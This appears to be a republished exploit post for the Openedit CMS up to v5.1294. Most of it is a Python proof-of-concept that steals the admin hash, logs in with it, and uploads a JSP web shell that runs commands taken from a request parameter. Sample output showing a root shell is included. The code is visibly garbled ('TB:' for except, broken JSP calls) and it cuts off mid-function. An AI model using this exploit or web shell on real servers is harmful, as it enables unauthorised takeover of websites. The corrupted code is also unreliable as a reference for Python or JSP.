Openedit & amp; lt; = v5.1294 Remote Code Execution Vulnerability and repair

Openedit is a famous web content management system. Openedit <= v5.1294 has a remote code execution vulnerability, which may be exploited by attackers to obtain website permissions.

[+] Info:
~~~~~~~~~
Openedit <= v5.1294 Remote Code Execution Exploit
Author: mr_me

[+] Poc:
~~~~~~~~~

View sourceprint? 001 #! /Usr/bin/python

002 #

003 # Openedit <= v5.1294 Remote Code Execution Exploit

004 # http://net-ninja.net/blog? P = 553

005 # watch http://www.zeitgeistmovie.com/

006 #

007 # Explanation:

008 # Vuln 1: Admin hash disclosure

009 # Vuln 2: Login with the hash

010 # Vuln 3: Unprotected file upload

011 #

012 # [mr_me @ pluto openedit] $ sudo python./openown. py-p localhost: 8080-t 192.168.1.7: 8080-d/

013 #

014 # | ---------------------------------------------- |

015 # | Openedit v5.1294 Remote Code Execution Explo! T |

016 # | by mr_me-net-ninja.net --------------------- |

017 #

018 # (+) Testing proxy @ localhost: 8080 .. proxy is found to be working!

019 # (+) Stealing admin hash .. hash stolen! DES: 2JPGMLB8Y60 =

020 # (+) Logging into CMS... logged in successfully

021 # (+) Generating and executing upload... shell upload was successful ..

022 # (+) Shell located @ jsp? Cmd = [CMD "> http: // 192.168.1.7: 8080/eb5b2052fc6c2f6252af578bb9a66cf3. jsp? Cmd = [CMD]

023 # (+) Entering interactive remote console (q for quit)

024 #

025 # root@192.168.1.7: 8080 # id

026 #

027 # uid = 0 (root) gid = 0 (root) groups = 0 (root)

028 #

029 # root@192.168.1.7: 8080 # uname-

030 #

031 # Linux steven-desktop 2.6.32-28-generic # 55-Ubuntu SMP Mon Jan 10 21:21:01 UTC 2011 i686 GNU/Linux

032 #

033 # root@192.168.1.7: 8080 # q

034 # [mr_me @ pluto openedit] $

035

036 import sys, socket, urllib, re, urllib2, getpass

037 from optparse import OptionParser

038 from random import choice

039 from cookielib import CookieJar

040

041 try:

042 from poster. encode import multipart_encode

043 from poster. streaminghttp import register_openers

044 TB:

045 print "(!) Please download pyposter-04 to use this tool"

046 print "--> http://pypi.python.org/pypi/poster/0.4"

047 sys. exit (1)

048

049 usage = "./% prog [<options>]-t [target]-d [directory]"

050 usage + = "Example:./% prog-p localhost: 8080-t 192.168.1.15: 8080-d/ROOT2/openedit /"

051

052 parser = OptionParser (usage = usage)

053 parser. add_option ("-p", type = "string", action = "store", dest = "proxy ",

054 help = "HTTP Proxy <server: port> ")

055 parser. add_option ("-t", type = "string", action = "store", dest = "target ",

056 help = "The Target server <server: port> ")

057 parser. add_option ("-d", type = "string", action = "store", dest = "dirPath ",

058 help = "Directory path to the CMS ")

059

060 (options, args) = parser. parse_args ()

061

062 def banner ():

063 print "| ---------------------------------------------- |"

064 print "| Openedit v5.1294 Remote Code Execution Explo! T |"

065 print "| by mr_me-net-ninja.net --------------------- |"

066

067 if len (sys. argv) <5:

068 banner ()

069 parser. print_help ()

070 sys. exit (1)

071

072 agents = ["Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0 )",

073 "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1 )",

074 "Microsoft Internet Explorer/4.0b1 (Windows 95 )",

075 "Opera/8.00 (Windows NT 5.1; U; en)"]

076

077 agent = choice (agents)

078

079 jspSname = "eb5b2052fc6c2f6252af578bb9a66cf3. jsp"

080 jspShell = """

081 <% @ page import = "java. util. *, java. io. *" %>

082 <%

083 if (request. getParameter ("cmd ")! = Null ){

084 String cmd = request. getParameter ("cmd ");

085 Process p = runtime.getruntime(cmd.exe c (cmd );

086 OutputStream OS = p. getOutputStream ();

087 InputStream in = p. getInputStream ();

088 DataInputStream dis = new DataInputStream (in );

089 String disr = dis. readLine ();

090 out. println ("lulzStart ");

091 while (disr! = Null ){

092 out. println (disr );

093 disr = dis. readLine ();

094}

095 out. println ("lulzEnd ");

096}

097%>

098 """

099

100 def getProxy ():

101 try:

102 proxy_handler = urllib2.ProxyHandler ({http: options. proxy })

103 bytes T (socket. timeout ):

104 print "(-) Proxy timed out"

105 sys. exit (1)

106 return proxy_handler

107

108 def testProxy ():

109 sys. stdout. write ("(+) Testing proxy @ % s .." % (options. proxy ))

110 sys. stdout. flush ()

111 opener = urllib2.build _ opener (getProxy ())

112 try:

113 check = opener. open ("http://www.google.com"). read ()

114 TB:

115 check = 0

116 pass

117 if check> = 1:

118 & n